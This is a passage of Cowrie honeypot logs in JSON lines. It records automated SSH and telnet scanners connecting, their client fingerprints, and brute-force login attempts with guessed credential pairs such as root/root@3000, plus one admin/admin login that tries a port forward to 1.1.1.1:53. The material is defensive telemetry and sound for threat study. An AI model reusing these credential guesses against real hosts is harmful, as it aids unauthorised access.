19@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:05:54.569403Z","src_ip":"50.225.176.238","session":"2bb1be274cfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe./","message":"login attempt [ubuntu/123qwe./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:05:54.652187Z","src_ip":"50.225.176.238","session":"2bb1be274cfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:05:55.668852Z","src_ip":"50.225.176.238","session":"2bb1be274cfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":60698,"dst_ip":"10.17.0.5","dst_port":22,"session":"a006447ff44a","protocol":"ssh","message":"New connection: 198.98.56.227:60698 (10.17.0.5:22) [session: a006447ff44a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:06:07.894291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:06:07.910039Z","src_ip":"198.98.56.227","session":"a006447ff44a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:06:07.915059Z","src_ip":"198.98.56.227","session":"a006447ff44a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"!@#test!@#","message":"login attempt [test/!@#test!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:06:07.956938Z","src_ip":"198.98.56.227","session":"a006447ff44a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:06:08.971255Z","src_ip":"198.98.56.227","session":"a006447ff44a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":60624,"dst_ip":"10.17.0.5","dst_port":22,"session":"d52dafd971de","protocol":"ssh","message":"New connection: 64.89.163.156:60624 (10.17.0.5:22) [session: d52dafd971de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:06:32.810893Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:06:32.899035Z","src_ip":"64.89.163.156","session":"d52dafd971de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":60640,"dst_ip":"10.17.0.5","dst_port":22,"session":"162d39804f1e","protocol":"ssh","message":"New connection: 64.89.163.156:60640 (10.17.0.5:22) [session: 162d39804f1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:06:32.985194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:06:32.989832Z","src_ip":"64.89.163.156","session":"162d39804f1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:06:33.077747Z","src_ip":"64.89.163.156","session":"162d39804f1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@3000","message":"login attempt [root/root@3000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:06:33.340106Z","src_ip":"64.89.163.156","session":"162d39804f1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:06:34.430867Z","src_ip":"64.89.163.156","session":"162d39804f1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":37644,"dst_ip":"10.17.0.5","dst_port":22,"session":"8325921e36ed","protocol":"ssh","message":"New connection: 103.15.226.202:37644 (10.17.0.5:22) [session: 8325921e36ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:06:37.509204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:06:37.514173Z","src_ip":"103.15.226.202","session":"8325921e36ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:06:37.757625Z","src_ip":"103.15.226.202","session":"8325921e36ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"r00t","password":"A@0599343813A@0599343813A@0599343813","message":"login attempt [r00t/A@0599343813A@0599343813A@0599343813] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:06:38.489202Z","src_ip":"103.15.226.202","session":"8325921e36ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:06:39.734925Z","src_ip":"103.15.226.202","session":"8325921e36ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.159.219.169","src_port":42346,"dst_ip":"10.17.0.5","dst_port":23,"session":"07f121a7492b","protocol":"telnet","message":"New connection: 103.159.219.169:42346 (10.17.0.5:23) [session: 07f121a7492b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:06:43.911666Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":54396,"dst_ip":"10.17.0.5","dst_port":22,"session":"07da798e618e","protocol":"ssh","message":"New connection: 50.225.176.238:54396 (10.17.0.5:22) [session: 07da798e618e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:06:46.875925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:06:46.881070Z","src_ip":"50.225.176.238","session":"07da798e618e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:06:46.892835Z","src_ip":"50.225.176.238","session":"07da798e618e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"passw0rd@123","message":"login attempt [ubuntu/passw0rd@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:06:46.971895Z","src_ip":"50.225.176.238","session":"07da798e618e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:06:47.986372Z","src_ip":"50.225.176.238","session":"07da798e618e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.322420358657837,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:06:57.234002Z","src_ip":"103.159.219.169","session":"07f121a7492b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.189.174.238","src_port":57088,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdfaf8838ed8","protocol":"telnet","message":"New connection: 101.189.174.238:57088 (10.17.0.5:23) [session: fdfaf8838ed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:07:17.844684Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":35944,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc49e5e47823","protocol":"telnet","message":"New connection: 212.55.149.117:35944 (10.17.0.5:23) [session: dc49e5e47823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:07:22.701417Z"}
{"eventid":"cowrie.session.closed","duration":13.023692607879639,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:07:30.868266Z","src_ip":"101.189.174.238","session":"fdfaf8838ed8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":58758,"dst_ip":"10.17.0.5","dst_port":22,"session":"a30fb112ebd4","protocol":"ssh","message":"New connection: 87.251.64.176:58758 (10.17.0.5:22) [session: a30fb112ebd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:07:37.749034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:07:37.753311Z","src_ip":"87.251.64.176","session":"a30fb112ebd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:07:37.850203Z","src_ip":"87.251.64.176","session":"a30fb112ebd4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:07:38.143066Z","src_ip":"87.251.64.176","session":"a30fb112ebd4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:07:38.241601Z","session":"a30fb112ebd4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:07:38.339521Z","src_ip":"87.251.64.176","session":"a30fb112ebd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:07:38.439067Z","src_ip":"87.251.64.176","session":"a30fb112ebd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":34458,"dst_ip":"10.17.0.5","dst_port":22,"session":"509d102a5a5f","protocol":"ssh","message":"New connection: 50.225.176.238:34458 (10.17.0.5:22) [session: 509d102a5a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:07:40.509434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:07:40.514076Z","src_ip":"50.225.176.238","session":"509d102a5a5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:07:40.525530Z","src_ip":"50.225.176.238","session":"509d102a5a5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nxuser","password":"nxuser","message":"login attempt [nxuser/nxuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:07:40.605014Z","src_ip":"50.225.176.238","session":"509d102a5a5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:07:41.620703Z","src_ip":"50.225.176.238","session":"509d102a5a5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.155.106.101","src_port":58086,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4622de14ea3","protocol":"ssh","message":"New connection: 61.155.106.101:58086 (10.17.0.5:22) [session: a4622de14ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:08:13.098234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:08:13.103759Z","src_ip":"61.155.106.101","session":"a4622de14ea3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:08:13.373320Z","src_ip":"61.155.106.101","session":"a4622de14ea3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysqladmin","message":"login attempt [mysql/mysqladmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:08:15.825525Z","src_ip":"61.155.106.101","session":"a4622de14ea3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.0032422542572,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:08:23.704517Z","src_ip":"212.55.149.117","session":"dc49e5e47823","protocol":"telnet"}
